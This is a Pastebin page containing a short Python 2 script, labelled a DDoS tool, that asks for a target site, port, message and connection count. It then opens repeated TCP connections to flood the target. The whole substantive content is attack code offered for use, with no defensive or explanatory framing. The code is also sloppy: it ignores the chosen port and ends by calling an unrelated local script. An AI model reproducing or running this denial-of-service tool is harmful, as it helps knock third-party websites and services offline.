SHARE
TWEET

Ddos python script

R8420 May 10th, 2014 12,018 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. import time
  3. import socket
  4. import os
  5. import sys
  6. import string
  7.  
  8. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  9.  
  10. def restart_program():
  11.     python = sys.executable
  12.     os.execl(python, python, * sys.argv)
  13. curdir = os.getcwd()
  14.  
  15. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  16.  
  17. print ("DDoS mode loaded")
  18. print ("python script made by an0nymous_nl twitter")
  19. host=raw_input( "Site you want to DDoS:" )
  20. port=input( "Port you want to attack:" )
  21. message=raw_input( "Input the message you want to send:" )
  22. conn=input( "How many connections you want to make:" )
  23. ip = socket.gethostbyname( host )
  24. print ("[" + ip + "]")
  25. print ( "[Ip is locked]" )
  26. print ( "[Attacking " + host + "]" )
  27. print ("+----------------------------+")
  28. def dos():
  29.     #pid = os.fork()
  30.     ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  31.     try:
  32.         ddos.connect((host, 80))
  33.         ddos.send( message )
  34.         ddos.sendto( message, (ip, port) )
  35.         ddos.send( message );
  36.     except socket.error, msg:
  37.         print("|[Connection Failed]         |")
  38.     print ( "|[DDoS Attack Engaged]       |")
  39.     ddos.close()
  40. for i in range(1, conn):
  41.     dos()
  42. print ("+----------------------------+")
  43. print("The connections you requested had finished")
  44. if __name__ == "__main__":
  45.     answer = raw_input("Do you want to ddos more?")
  46.     if answer.strip() in "y Y yes Yes YES".split():
  47.         restart_program()
  48.     else:
  49.         os.system(curdir+"Deqmain.py")
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top